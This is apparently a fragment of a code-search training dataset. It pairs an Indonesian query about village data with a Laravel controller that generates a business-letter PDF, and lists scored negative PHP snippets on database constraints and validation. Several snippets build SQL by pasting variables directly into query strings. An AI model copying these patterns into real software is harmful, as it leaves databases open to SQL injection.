"public function toArray()\n\t{\n\t\t$array = array();\n\n\t\tforeach ($this->getAffectedConstraints() as $constraint) {\n\t\t\tif ($constraint['type'] == 'constraint') {\n\t\t\t\t$array = array_merge($array, [$constraint['field'] => $constraint['value']]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$array = array_merge([$constraint['field'] => $constraint['value']->toArray()], $array);\n\t\t\t}\n\t\t}\n\n\t\treturn $array;\n\t}",
"protected function getConstraintKeys($schemaName, $tableName)\n\t{\n\t\t$this->getDbConnection()->setAttribute(PDO::ATTR_CASE, PDO::CASE_LOWER);\n//\t\tselect decode( a.CONSTRAINT_TYPE, 'P', 'PRIMARY KEY (', 'FOREIGN KEY (' )||b.COLUMN_NAME||')' as consrc,\n\t\t$sql =\n<<<EOD\n\t\tselect b.COLUMN_NAME as consrc,\n\t\t\t a.CONSTRAINT_TYPE as contype\n\t\tfrom ALL_CONSTRAINTS a, ALL_CONS_COLUMNS b\n \t\twhere (a.constraint_name = b.constraint_name AND a.table_name = b.table_name AND a.owner = b.owner)\n\t\tand\t a.TABLE_NAME = '{$tableName}'\n\t\tand a.OWNER = '{$schemaName}'\n\t\tand a.CONSTRAINT_TYPE in ('P','R')\nEOD;\n\t\t$this->getDbConnection()->setActive(true);\n\t\t$command = $this->getDbConnection()->createCommand($sql);\n\t\t//$command->bindValue(':table', $tableName);\n\t\t//$command->bindValue(':schema', $schemaName);\n\t\t$primary = array();\n\t\t$foreign = array();\n\t\tforeach($command->query() as $row)\n\t\t{\n\t\t\tswitch( strtolower( $row['contype'] ) )\n\t\t\t{\n\t\t\t\tcase 'p':\n\t\t\t\t\t$primary = array_merge( $primary, array(strtolower( $row['consrc'] )) );\n\t\t\t\t\t/*\n\t\t\t\t\t$arr = $this->getPrimaryKeys($row['consrc']);\n\t\t\t\t\t$primary = array_merge( $primary, array(strtolower( $arr[0] )) );\n\t\t\t\t\t*/\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'r':\n\t\t\t\t\t$foreign = array_merge( $foreign, array(strtolower( $row['consrc'] )) );\n\t\t\t\t\t/*\n\t\t\t\t\t// if(($fkey = $this->getForeignKeys($row['consrc']))!==null)\n\t\t\t\t\t$fkey = $this->getForeignKeys( $row['consrc'] );\n\t\t\t\t\t$foreign = array_merge( $foreign, array(strtolower( $fkey )) );\n\t\t\t\t\t*/\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\treturn array($primary,$foreign);\n\t}",
"private function getConstraints($class)\n {\n $validations = array();\n\n $metadata = $this->container\n ->get('validator')\n ->getMetadataFactory()\n ->getMetadataFor($class);\n\n $constrainedProperties = $metadata->getConstrainedProperties();\n \n foreach($constrainedProperties as $constrainedProperty)\n {\n $propertyMetadata = $metadata->getPropertyMetadata($constrainedProperty);\n $constraints = $propertyMetadata[0]->constraints;\n $outputConstraintsCollection=[];\n foreach($constraints as $constraint)\n {\n $class = new \\ReflectionObject($constraint);\n $constraintName = $class->getShortName();\n $constraintParameter = null;\n\n switch ($constraintName) \n {\n// case \"NotBlank\":\n case \"Choice\":\n $outputConstraintsCollection[$constraintName] = $constraint;\n break;\n }\n }\n $validations[$constrainedProperty] = $outputConstraintsCollection;\n }\n return $validations;\n }",
"public function getValidationRules()\n {\n if (method_exists($this, 'rules')) {\n return $this->rules();\n }\n\n $table = $this->getTable();\n $cacheKey = 'validate.' . $table;\n\n if (config('validate.cache') && Cache::has($cacheKey)) {\n return Cache::get($cacheKey);\n }\n\n // Get table info for model and generate rules\n $manager = DB::connection()->getDoctrineSchemaManager();\n $details = $manager->listTableDetails($table);\n $foreignKeys = $manager->listTableForeignKeys($table);\n\n $this->generateRules($details, $foreignKeys);\n\n if (config('validate.cache')) {\n Cache::forever($cacheKey, $this->rules);\n }\n\n return $this->rules;\n }",
"public function getQueueableRelations()\n {\n // TODO: Implement getQueueableRelations() method.\n }",
"public function getQueueableRelations()\n {\n // TODO: Implement getQueueableRelations() method.\n }",
"public function getQueueableRelations()\n {\n // TODO: Implement getQueueableRelations() method.\n }",
"public function getAclResources()\n {\n $resources = $this->aclResourceProvider->getAclResources();\n\n if (isset($resources[self::MAGIC_INDEX_WHERE_RESOURCES_ARE]['children'])) {\n return $resources[self::MAGIC_INDEX_WHERE_RESOURCES_ARE]['children'];\n } else {\n // give up, you don't know where it's at now.\n return [];\n }\n }",
"public function getRestrictions()\n {\n return $this->restrictions;\n }",
"public function getRestrictions()\n {\n return $this->restrictions;\n }",
"public function SetConstraints ($constraints = []);",
"public function all()\n {\n return $this->query()->get();\n }",
"public function all(): Collection\n {\n return $this->model->all();\n }",
"public function all()\n {\n return $this->atividadeComercialRepository->all();\n }",
"public function addConstraints()\n {\n $this->setJoin ()->setWhere ();\n }",
"protected function findConstraints($table)\n\t{\n\t\t$foreignKeys=array();\n\t\t$sql=\"PRAGMA foreign_key_list({$table->rawName})\";\n\t\t$keys=$this->getDbConnection()->createCommand($sql)->queryAll();\n\t\tforeach($keys as $key)\n\t\t{\n\t\t\t$column=$table->columns[$key['from']];\n\t\t\t$column->isForeignKey=true;\n\t\t\t$foreignKeys[$key['from']]=array($key['table'],$key['to']);\n\t\t}\n\t\t$table->foreignKeys=$foreignKeys;\n\t}",
"public function to_array() {\n\n $output = [];\n\n foreach ($this::CONSTRAINTS as $key => $constraint) {\n\n $value = $this->$key;\n\n if (\n is_object($value) &&\n (\n $value instanceof TypedProperty ||\n $value instanceof TypedArray\n )\n ) {\n $output[$key] = $value->to_array();\n } else {\n if (is_array($value)) {\n foreach ($value as $k => $v) {\n if (\n is_object($v) &&\n (\n $v instanceof TypedProperty ||\n $v instanceof TypedArray\n )\n ) {\n $value[$k] = $v->to_array();\n }\n }\n }\n $output[$key] = $value;\n }\n }\n\n return $output;\n }",
"public function constrain()\n\t{\n\t\treturn $this->related\n\t\t ->whereEquals($this->relatedKey, $this->model->{$this->localKey})\n\t\t ->whereEquals($this->shifter, strtolower($this->model->getModelName()));\n\t}",
"public function getConstraint($key)\n {\n $key = (string) $key;\n if (!$this->hasConstraint($key)) {\n return null;\n }\n return $this->dijitParams['constraints'][$key];\n }",
"public function getRelations()\n {\n return $this->discoverRelations();\n }",
"public function getSubrogationConstantes() {\n return $this->subrogationConstantes;\n }",
"public static function getConstraintsFromParent(DomElement $parent)\n {\n $keys = self::_getPrimaryKeyConstraints($parent);\n if (empty($keys) === FALSE) {\n $constraints['PRIMARY-KEYS'] = $keys;\n }\n\n $keys = self::_getForeignKeyConstraints($parent);\n if (empty($keys) === FALSE) {\n $constraints['FOREIGN-KEYS'] = $keys;\n }\n\n $keys = self::_getUniqueConstraints($parent);\n if (empty($keys) === FALSE) {\n $constraints['UNIQUES'] = $keys;\n }\n\n return $constraints;\n\n }",
"public function getAllCustomConstraints(string $modelName){\n if (empty($modelName)) {\n throw new \\InvalidArgumentException(\"Missing the required parameter 'modelName' when calling getAllCustomConstraints\");\n }\n $postBody = [];\n $pathParams = [\n 'modelName' => $modelName,\n ];\n $queryParams = [];\n $headerParams = [];\n $formParams = [];\n $authNames = ['basicAuth'];\n $contentTypes = ['application/json'];\n $accepts = ['application/json'];\n $returnType = 'Array';\n\n return $this->apiClient->callApi(\n 'cmm/{modelName}/constraints', 'GET',\n $pathParams, $queryParams, $headerParams, $formParams, $postBody,\n $authNames, $contentTypes, $accepts, $returnType\n );\n }",
"public function getRules()\n\t{\n\t\t\n\t\t$rules = array();\n\t\t\n\t\tforeach ( $this->getFields() as $field )\n\t\t{\n\t\t\t$rules = array_merge( $rules, $field->getRules() );\n\t\t}\n\t\t\n\t\treturn $rules;\n\t}",
"public function getValidatorRules()\n {\n if ($validator = $this->getValidator()) {\n return $validator->getRulesForField($this->owner);\n }\n \n return [];\n }",
"public function getRequiredOptions(): array\n {\n return ['constraints'];\n }",
"protected function findConstraints(TableSchema $table)\r\n {\r\n foreach ($table->layouts as $layoutName) {\r\n foreach ($this->getLayout($layoutName)->getRelatedSets() as $relation) {\r\n // Check if portal of the same related table was already declared\r\n $relationName = $relation->name . '_portal';\r\n if (isset($table->relations[$relationName])) {\r\n $tableSchema = $table->relations[$relationName];\r\n } else {\r\n $tableSchema = new TableSchema();\r\n $tableSchema->name = $relation->name;\r\n $tableSchema->fullName = $relationName;\r\n $tableSchema->isPortal = true;\r\n $tableSchema->defaultLayout = $layoutName;\r\n $tableSchema->baseTable = $relation->name;\r\n\r\n //Store _recid PK as field\r\n $pk = $this->createColumnSchema();\r\n $pk->name = '_recid';\r\n $pk->allowNull = false;\r\n $pk->isPrimaryKey = true;\r\n $pk->autoIncrement = true;\r\n $pk->phpType = 'integer';\r\n\r\n $tableSchema->columns['_recid'] = $pk;\r\n }\r\n\r\n\r\n $tableSchema->layouts[] = $layoutName;\r\n\r\n foreach ($relation->getFields() as $field) {\r\n $column = $this->loadColumnSchema($field);\r\n //handle related Fields from different OT\r\n if ($column->isRelated && $column->relationName != $tableSchema->name) {\r\n if (!isset($table->relations[$column->relationName])) {\r\n $relatedSchema = new TableSchema();\r\n $relatedSchema->name = $relatedSchema->fullName = $column->relationName;\r\n $relatedSchema->defaultLayout = $table->defaultLayout;\r\n $table->relations[$column->relationName] = $relatedSchema;\r\n } else {\r\n $relatedSchema = $table->relations[$column->relationName];\r\n }\r\n\r\n $tableSchema->relations[$column->relationName] = $relatedSchema;\r\n if (!isset($relatedSchema->columns[$column->name])) {\r\n $relatedSchema->columns[$column->name] = $column;\r\n }\r\n //$table->relations[$column->relationName][1][$column->name] = $column;\r\n } elseif (!isset($tableSchema->columns[$column->name])) {\r\n $tableSchema->columns[$column->name] = $column;\r\n }\r\n }\r\n\r\n $table->relations[$relationName] = $tableSchema;\r\n }\r\n }\r\n }",
"public function getAssignmentConstraints()\n\t{\n\t\t$current_date = date('Y-m-d');\n\t\t$date = new DateTime($current_date);\n\t\t$date->modify('+1 day');\n\t\t$current_time = date('Y-m-d H:i:s'); //getting the current date time(time consider).\n//\t\t$current_time = date('Y-m-d'); //getting the current date.\n\t\t$assignment_crieteria = array('OR'=>array(\n\t\t\t\tarray( \"DATEADD( day, -1, PleAssignmentReminder.due_date) <=\" =>$current_time, 'PleAssignmentReminder.due_date >=' =>$current_time, 'PleAssignmentReminder.remind_day_before'=>1), //day before.\n\t\t\t\tarray( \"DATEADD( day, -7, PleAssignmentReminder.due_date) <=\" =>$current_time, \"DATEADD( day, -6, PleAssignmentReminder.due_date) >=\" =>$current_time, 'PleAssignmentReminder.remind_week_before'=>1), //week before.\n\t\t\t\t//array( \"PleAssignmentReminder.remind_custom_date >=\" =>$current_date, 'PleAssignmentReminder.remind_custom_date <' =>$date->format('Y-m-d'), 'PleAssignmentReminder.remind_day_of'=>1) //custom date.\n\t\t\t\tarray( \"PleAssignmentReminder.remind_custom_date >=\" =>$current_date, 'PleAssignmentReminder.remind_custom_date <' =>$date->format('Y-m-d')), //custom date.\n\t\t\t\tarray( \"PleAssignmentReminder.due_date >=\" =>$current_date, 'PleAssignmentReminder.due_date <' =>$date->format('Y-m-d'), 'PleAssignmentReminder.remind_day_of'=>1) //due date.\n\t\t)\n\t\t);\n\t\treturn $assignment_crieteria;\n\t}",
"public function all()\r\n {\r\n return $this->parameters;\r\n }",
"public function getBounds()\n {\n return $this->bounds;\n }",
"public function getAll()\n {\n return $this->scopeRepository->findAll();\n }",
"public function setConstraints(array $constraints)\n {\n $this->constraints = $constraints;\n\n return $this;\n }",
"public function getForeignKeys()\n {\n return $this->parentTable->getColumnForeignKeys($this->name);\n }",
"public function all() : Collection\n {\n return Permission::all();\n }",
"public function all()\n\t{\n\t\treturn $this->attributes;\n\t}",
"private static function _getForeignKeyConstraints(DomElement $parent)\n {\n // Foreign key constraints.\n $fks = $parent->getElementsByTagName('foreign-key');\n\n $foreignKeys = array();\n foreach ($fks as $fk) {\n $current = array();\n $current['name'] = $fk->getAttribute('name');\n $current['table'] = $fk->getAttribute('foreign-table');\n $onDelete = $fk->getAttribute('on-delete');\n if ($onDelete === '') {\n $onDelete = 'NO ACTION';\n }\n\n $current['on-delete'] = $onDelete;\n $current['COLUMNS'] = array();\n\n $columns = $fk->getElementsByTagName('column');\n foreach ($columns as $column) {\n $col['name'] = $column->nodeValue;\n $col['references'] = $column->getAttribute('references');\n $current['COLUMNS'][] = $col;\n }\n\n $foreignKeys[] = $current;\n }//end foreach\n\n return $foreignKeys;\n\n }",
"public function getRequirements () {\n\t\t\tif (count($this) === 0) return new ArrayObjectList;\n\n\t\t\t$db \t\t= db::singleton();\n\t\t\t$table \t\t= TABLE_DOCUMENTOS_ELEMENTOS;\n\t\t\t$set \t\t= $this->toComaList();\n\t\t\t$SQL \t\t= \"SELECT uid_documento_atributo FROM {$table} WHERE uid_documento_elemento IN ({$set}) GROUP BY uid_documento_atributo\";\n\t\t\t$collection\t= $db->query($SQL, '*', 0, \"documento_atributo\");\n\n\n\t\t\treturn new ArrayObjectList($collection);\n\t\t}",
"public function all()\n {\n return $this->getModel()->all();\n }",
"protected function getScopeConstraints(Model $model)\n {\n $builder = $model->newQueryWithoutScopes();\n\n $this->apply($builder, $model);\n\n return (array) $builder->getQuery()->wheres;\n }",
"public function getRules(): Collection;",
"public function rules()\n {\n $this->buildRules();\n return $this->rules;\n }",
"public function getConditions()\n {\n if (empty($this->_conditions)) {\n $this->_resetConditions();\n }\n\n // Load rule conditions if it is applicable\n if ($this->hasConditionsSerialized()) {\n $conditions = $this->getConditionsSerialized();\n if (!empty($conditions)) {\n $conditions = Mage::helper('core/unserializeArray')->unserialize($conditions);\n if (is_array($conditions) && !empty($conditions)) {\n $this->_conditions->loadArray($conditions);\n }\n }\n $this->unsConditionsSerialized();\n }\n\n return $this->_conditions;\n }",
"public function foreignConstraint();"
] | [
"0.8197857",
"0.8190749",
"0.79392225",
"0.7466148",
"0.73210406",
"0.7301535",
"0.7183592",
"0.69433767",
"0.6916043",
"0.68491215",
"0.6635328",
"0.65187764",
"0.6437896",
"0.6418869",
"0.6418869",
"0.63380057",
"0.6300349",
"0.6300349",
"0.6291435",
"0.6248547",
"0.6242561",
"0.61519563",
"0.61519563",
"0.61519563",
"0.61007345",
"0.6090512",
"0.6057992",
"0.60538113",
"0.5998",
"0.5998",
"0.5955435",
"0.5923371",
"0.5923371",
"0.58795154",
"0.5831628",
"0.5773541",
"0.57017696",
"0.5677181",
"0.56312335",
"0.5625796",
"0.55921125",
"0.55565226",
"0.55565226",
"0.55058336",
"0.54922783",
"0.54485273",
"0.54485273",
"0.5440951",
"0.5410041",
"0.5375955",
"0.5335719",
"0.5334252",
"0.5325619",
"0.5309771",
"0.52969986",
"0.52963054",
"0.5274334",
"0.5265827",
"0.52623796",
"0.51724726",
"0.5168927",
"0.5167471",
"0.5167471",
"0.5167471",
"0.5142963",
"0.51350063",
"0.51350063",
"0.513401",
"0.5127406",
"0.5120513",
"0.5116443",
"0.5111346",
"0.51022625",
"0.50921327",
"0.50917566",
"0.5090752",
"0.50882137",
"0.5080134",
"0.5074591",
"0.5073716",
"0.5069628",
"0.5064114",
"0.5063939",
"0.5058862",
"0.5036235",
"0.5031392",
"0.5030697",
"0.50305563",
"0.50238264",
"0.50218135",
"0.5015424",
"0.50073814",
"0.5002374",
"0.5000319",
"0.4999803",
"0.49983656",
"0.4993618",
"0.49860308",
"0.49825847",
"0.49750066"
] | 0.7902355 | 3 |
1. data desa kecamatan dan kabupaten | public function cetaksuratusaha(Request $request,$id_noSurat)
{
$desa = Desa::where('id_desa',Auth()->user()->id_desa)->with('kabupaten', 'kecamatan')->get();
// 2. data penduduk
// relasinya sesuaikan dengan data yang dibutuhkan di template surat
$penduduk = Penduduk::where('nik','=',$request['nik'])->with('kk','jeniskelamin','pekerjaans','kewarganegaraans','statusperkawinan','agamaa')->get();
// 3. tanggal surat
$tglSurat = date('Y-m-d');
$insert = Suratusaha::create([
'nik' => $request['nik'],
'tanggal_surat' => $tglSurat,
'keterangan_usaha' => $request['keterangan_usaha'],
'jenis_usaha' => $request['jenis_usaha'],
'luas_lahan' => $request['luas_lahan'],
'tenaga_pembantu' => $request['tenaga_pembantu'],
'alamat_usaha' => $request['alamat_usaha'],
'fungsi' => $request['fungsi']
]);
//untuk mengambil id dari insert data yg di atas
$idinsertsurat = $insert->id;
// 4. no surat
// nosurat didapat dari hasil insert data ke database
// panggil format nosuratnya
$formatnomorsurat = Nomorsurat::where('id_no','=',$id_noSurat)->first();
$nosurat = $formatnomorsurat->no_surat.'/'.date('Y');
// 5.panggil data surat yang sudah di insertkan
$datasurat = Suratusaha::where('nomor_surat',$idinsertsurat)->with('penduduk')->get();
// kalau sudah dipanggil semua data yang dibutuhkan tinggal di masukkan kedalam view suratnya
$view = \View::make('surat/usaha',['desa' =>$desa,'penduduk' => $penduduk, 'nosurat' =>$nosurat, 'tanggalsurat' => $tglSurat, 'datasurat' => $datasurat, 'kop' => $request['kop']]);
$html_content = $view->render();
PDF::SetTitle('Surat Usaha PDF');
PDF::AddPage();
PDF::writeHTML($html_content, true, false, true, false, '');
PDF::output('cetaksuratusaha.pdf');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function tampilDataGalang(){\n\t\t\n\t}",
"public function kosongkanDataBarang() {\n $this->daftar_barang = [];\n $this->editData();\n }",
"function data_mhs(){\r\n\t\t\techo \"KodeMataKuliah : \".$this->KodeMataKuliah.\"<br />\";\r\n\t\t\techo \"SKS : \".$this->SKS.\"<br />\";\r\n\t\t\techo \"Daftar matakuliah yang diambil:<br />\";\r\n\t\t\t\r\n\t\t\t$i = 0; // nomor urut daftar SKS matakuliah yang diambil\r\n\t\t\tforeach($this->NamaMataKuliah as $mk){\r\n\t\t\t\techo ++$i.\". \".$mk.\"<br />\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Cuma buat ganti baris aja kok :-)\r\n\t\t\techo \"<br />\";\r\n\t\t}",
"public function tampil_data(){\n $sql= \"Select * From penjualan Order By id_penjualan DESC\";\n $data=$this->konek->query($sql);\n while ($row=mysqli_fetch_array($data)) {\n $hasil[]=$row;\n }\n return $hasil;\n }",
"public function simpan_data_penerima_bansos()\n {\n $noKK = $this->request->getVar('noKK');\n $kepalaKeluarga = $this->request->getVar('kepalaKeluarga');\n $idBansos = $this->request->getVar('idBansos');\n $namaBansos = $this->request->getVar('namaBansos');\n $kategori = $this->request->getVar('kategori');\n $pendamping = $this->request->getVar('pendamping');\n $nominal = $this->request->getVar('nominal');\n $jumlahData = count($noKK);\n $jumlahBerhasil = 0;\n $jumlahGagal = 0;\n $jumlahTerdaftar = 0;\n $jumlahDataKKTidakDitemukan = 0;\n $jumlahDataBansosTidakDitemukan = 0;\n $jumlahBelumDisetujui = 0;\n for ($i = 0; $i < $jumlahData; $i++) {\n // cek apakah fieldnya kosong\n if ($noKK[$i] == 0 || $idBansos[$i] == 0) {\n $jumlahGagal++;\n } else {\n // cek pada database apakah data KK tersebut ada\n $dataKeluarga = $this->KeluargaModel->where('noKK', $noKK[$i])->first();\n if ($dataKeluarga) {\n // cek pada database apakah data bansos ada\n $dataBansos = $this->DataBansosModel->where('idBansos', $idBansos[$i])->first();\n if ($dataBansos) {\n // cek apakah data keluarga sudah\n $status = 'Disetujui';\n $disetujui = $this->KeluargaModel->where('noKK', $noKK[$i])->where('status', $status)->first();\n if ($disetujui) {\n // cek data peserta apakah sudah terdaftar\n $pesertaBansos = $this->BansosModel->where('noKK', $noKK[$i])->where('idBansos', $idBansos[$i])->first();\n if ($pesertaBansos) {\n $jumlahTerdaftar++;\n } else {\n\n $this->BansosModel->save([\n 'noKK' => $noKK[$i],\n 'kepalaKeluarga' => $kepalaKeluarga[$i],\n 'idBansos' => $idBansos[$i],\n 'namaBansos' => $namaBansos[$i],\n 'kategori' => $kategori[$i],\n 'pendamping' => $pendamping[$i],\n 'nominal' => $nominal[$i],\n 'statusAnggota' => 'Aktif'\n ]);\n $jumlahBerhasil++;\n }\n } else {\n $jumlahBelumDisetujui++;\n }\n } else {\n $jumlahDataBansosTidakDitemukan++;\n }\n } else {\n $jumlahDataKKTidakDitemukan++;\n }\n }\n }\n session()->setFlashdata('pesan', '' . $jumlahBerhasil . ' Berhasil Disimpan, ' . $jumlahTerdaftar . ' Telah Terdaftar, ' . $jumlahDataKKTidakDitemukan . ' Data KK Tidak Ditemukan, ' . $jumlahDataBansosTidakDitemukan . ' Data Bansos Tidak Ditemukan dan ' . $jumlahBelumDisetujui . ' Belum Disetujui');\n return redirect()->to('/Admin/penerima_bansos');\n }",
"public function simpanDataPengadilan($post){\n\t\t$connection \t= $this->db;\n\t\t$isNewRecord \t= htmlspecialchars($post['isNewRecord'], ENT_QUOTES);\n\t\t$tingkat \t\t= htmlspecialchars($post['tingkat'], ENT_QUOTES);\n\t\t$propinsi \t\t= htmlspecialchars($post['propinsi'], ENT_QUOTES);\n\t\t$kabupaten \t\t= htmlspecialchars($post['kabupaten'], ENT_QUOTES);\n\t\t$deskripsi \t\t= htmlspecialchars($post['deskripsi'], ENT_QUOTES);\n\t\t$alamat \t\t= htmlspecialchars($post['alamat'], ENT_QUOTES);\n\t\t\n\t\tif($tingkat == \"\" || $propinsi == \"\"){\n\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Tingkat pengadilan, dan provinsi harus diisi\");\n\t\t} else if($tingkat == \"2\" && ($propinsi == \"\" || $kabupaten == \"\")){\n\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"* Tingkat pengadilan, provinsi, dan kabupaten harus diisi\");\n\t\t} else{\n\t\t\t$transaction = $connection->beginTransaction();\n\t\t\ttry {\n\t\t\t\tif($isNewRecord){\n\t\t\t\t\tif($tingkat == 1){\n\t\t\t\t\t\t$cek1 = \"select deskripsi from datun.m_propinsi where id_prop = '\".$propinsi.\"'\";\n\t\t\t\t\t\t$prop = $connection->createCommand($cek1)->queryScalar();\n\t\t\t\t\t\t$sql1 = \"insert into datun.pengadilan_tk1 values('\".$propinsi.\"', 'Pengadilan Tinggi \".ucwords(strtolower($prop)).\"', '\".$alamat.\"')\";\n\t\t\t\t\t} else if($tingkat == 2){\n\t\t\t\t\t\t$cek1 = \"select deskripsi_kabupaten_kota from datun.m_kabupaten where id_prop = '\".$propinsi.\"' and id_kabupaten_kota = '\".$kabupaten.\"'\";\n\t\t\t\t\t\t$prop = $connection->createCommand($cek1)->queryScalar();\n\t\t\t\t\t\t$sql1 = \"insert into datun.pengadilan_tk2 values('\".$propinsi.\"', '\".$kabupaten.\"', 'Pengadilan Negeri \".ucwords(strtolower($prop)).\"', '\".$alamat.\"')\";\n\t\t\t\t\t}\n\t\t\t\t} else{\n\t\t\t\t\tif($kabupaten == '00'){\n\t\t\t\t\t\t$sql1 = \"update datun.pengadilan_tk1 set deskripsi_tk1 = '\".$deskripsi.\"', alamat = '\".$alamat.\"' where kode_pengadilan_tk1 = '\".$propinsi.\"'\";\n\t\t\t\t\t} else{\n\t\t\t\t\t\t$sql1 = \"update datun.pengadilan_tk2 set deskripsi_tk2 = '\".$deskripsi.\"', alamat = '\".$alamat.\"' where kode_pengadilan_tk1 = '\".$propinsi.\"' \n\t\t\t\t\t\t\t\tand kode_pengadilan_tk2 = '\".$kabupaten.\"'\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$connection->createCommand($sql1)->execute();\n\t\t\t\t$transaction->commit();\n\t\t\t\treturn array(\"hasil\"=>true, \"error\"=>\"Maaf, data gagal disimpan\");\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\t$transaction->rollBack();\n\t\t\t\treturn array(\"hasil\"=>false, \"error\"=>\"Maaf, data gagal disimpan\");\n\t\t\t}\n\t\t}\n\t}",
"public function ambilData() {\n // read file & get the data (file_get_contents)\n $data = file_get_contents($this->file);\n $this->daftar_barang = json_decode($data, true);\n $this->daftar_barang = array_values($this->daftar_barang);\n }",
"public function ubah_data()\n {\n $id = $this->request->getVar('id');\n $jumlahAktif = 0;\n $jumlahTidakAktif = 0;\n if ($id) {\n $jumlahData = count($id);\n for ($i = 0; $i < $jumlahData; $i++) {\n $currentData = $this->BansosModel->where('id', $id[$i])->first();\n if ($currentData['statusAnggota'] == 'Aktif') {\n $db = \\Config\\Database::connect();\n $builder = $db->table('bansos');\n $builder->set('statusAnggota', 'Tidak Aktif');\n $builder->where('id', $id[$i]);\n $builder->update();\n $jumlahTidakAktif++;\n } else {\n $db = \\Config\\Database::connect();\n $builder = $db->table('bansos');\n $builder->set('statusAnggota', 'Aktif');\n $builder->where('id', $id[$i]);\n $builder->update();\n $jumlahAktif++;\n }\n }\n } else {\n session()->setFlashdata('gagal', 'Tidak Ada Data Yang Dipilih');\n return redirect()->to('/Admin/penerima_bansos');\n }\n session()->setFlashdata('pesan', '' . $jumlahAktif . ' Data Statusnya Dibuah Menjadi Aktif dan ' . $jumlahTidakAktif . ' Data Statusnya Diubah Menjadi Tidak Aktif');\n return redirect()->to('/Admin/penerima_bansos');\n }",
"public function editData() {\n $this->daftar_barang = array_values($this->daftar_barang);\n $data_barang = json_encode($this->daftar_barang, JSON_PRETTY_PRINT);\n file_put_contents($this->file, $data_barang);\n $this->ambilData();\n }",
"public function data_blok()\n {\n $data = ['aktif' => 'blok',\n 'data_blok' => $this->M_prospektus->tampil_data_blok(),\n 'kawasan' => $this->M_prospektus->get_data_kawasan()->result_array()\n ];\n\n $this->template->load('template','prospektus/V_data_blok', $data);\n }",
"function hapusData($kodeKamar)\n {\n //membuat variabel untuk menampung data where id dari inputan view\n //yg kiri nama atribute di database, yg kanan nama 'name' dari inputan view\n $where = ['kode_kamar' => $kodeKamar];\n\n try {\n //membuat variabel baru dengan nama hapus untuk melempar data ke model\n //objek model menjalankan method hapusData yang berada di model dan mengirim data array nya dengan tabel\n //menambahkam parameter where sebagai parameter menggunakan id\n $hapus = $this->mkamar->hapusData($this->table, $where);\n //jika hapus berhasil maka :\n if ($hapus) {\n //menjalankan script alert dan me redirect ke controller /kamar\n echo \"<script>alert('Data berhasil dihapus'); window.location='\" . base_url('/kamar') . \"';</script>\";\n //jika gagal maka :\n } else {\n echo \"<script>alert('Data gagal dihapus'); window.location='\" . base_url('/kamar') . \"';</script>\";\n }\n //jika data sudah ada maka :\n } catch (\\Exception $e) {\n echo \"<script>alert('Data sudah ada'); window.location='\" . base_url('/kamar') . \"';</script>\";\n }\n }",
"public function data_kohort(){\n\t\t$tahun = \"t_tahun_akademik\";\n\t\t$kelas = \"t_kelas\";\n\t\t$prodi = \"t_prodi\";\n\t\t$data['content'] = \"report/kohort\";\n\t\t$data['data_tahun'] = $this->m_aka->get_all($tahun);\n\t\t$data['kelas'] = $this->m_aka->get_all($kelas);\n\t\t$data['prodi'] = $this->m_aka->get_all($prodi);\n\t\t$this->load->view(\"content\", $data);\n\t}",
"function data_prosesan()\n{\n //$jadual['medan'][]='*';\n /*$jadual['medan'][]='newss,ssm,nama,tel,fax,responden,' .\n '(SELECT keterangan FROM msic WHERE msic=msic2000 LIMIT 1,1) as keterangan,' .\n 'msic2000,msicB2000,fe';*/\n $sama='j1.newss,concat(j1.tahun_rujukan,\"-\",j1.siri_kekerapan) as blnthn, ';\n $sama2='j2.newss,concat(j2.tahun_rujukan,\"-\",j2.siri_kekerapan) as blnthn, ';\n //$jadual['medan'][]=$sama . 'ssm, nama, operator, sv, kekerapan_sv'; \n //$jadual['medan'][]=$sama . 'ng, po, data_anggaran, cara_maklum_balas, cara_terima, sumber_pertubuhan, kategori_sample';\n //$jadual['medan'][]=$sama . 'status_operasi, status_lain_pbb, bil_bulan_bco, siasatan_bermula, siasatan_berakhir';\n //$jadual['medan'][]=$sama . 'no_jln_bgn, tmn_kg, bandar_kawasan, poskod, negeri, daerah, catatan';\n //$jadual['medan'][]=$sama . 'responden, jawatan, email, notel, lamanweb, tarikh';\n //$jadual['medan'][]=$sama . 'responden2, jawatan2, email2, notel2, nofax2';\n //$jadual['medan'][]=$sama . '`no_jln_bgn-lokasi`, `tmn_kg-lokasi`, `bandar_kawasan-lokasi`, ' .\n //'`poskod-lokasi`, `negeri-lokasi` ng, `daerah-lokasi` dp';\n $jadual['medan'][]='j1.newss,j1.ssm,j1.nama,concat(j1.tahun_rujukan,\"-\",j1.siri_kekerapan) as blnthn ';\n $jadual['medan'][]=$sama . \"\\r\" . 'msic_lama, (SELECT keterangan FROM msic WHERE msic=msic_lama LIMIT 1,1) as keterangan,' . \n 'msic_baru, utama '; \n //$jadual['medan'][]=$sama . \"\\r\\t\" . 'F3001, F3002, catatan_soalan3, ' . 'F5001, F5002, F5003, F5104, catatan_soalan5';\n $jadual['medan'][]=$sama . 'F6001, F6002, F6003, F6004, F6005, F6101, F6102, F6103, F6104, F6105, catatan_soalan6';\n $jadual['medan'][]=$sama . 'F7001, F7002, F7003, catatan_soalan7, ' .\n 'F8001, catatan_soalan8, F9001, catatan_soalan9';\n //$jadual['medan'][]=$sama . 'cara_anggaran, bulan_terakhir_data_sebenar, bil_bulan_data_telah_dianggar';\n\n //$jadual['medan'][]=$sama . 'Deskripsi_Produk_Oleh_Responden, Produk_Tetap, Deskripsi_Produk_Tetap,\n //Produk_Tambahan, Deskripsi_Produk_Tambahan, UnitKuantitiAsal, UnitKuantitiLain'; \n $produk='Deskripsi_Produk_Tetap Nama, Produk_Tetap Kod, ';\n $jadual['medan'][]=$sama . $produk . 'KuantitiPengeluaran, KuantitiJualan, NilaiJualan, ' .\n 'format(NilaiJualan/KuantitiJualan,2) as HargaUnit, UnitKuantitiKini';\n //$jadual['medan'][]=$sama . $produk . 'ProsesanKuantitiPengeluaran, ProsesanKuantitiJualan, ProsesanNilaiJualan, AUP';\n $jadual['medan'][]=$sama . $produk . 'F2497, F2498, F2499, Catatan';\n $jadual['medan'][]=$sama . 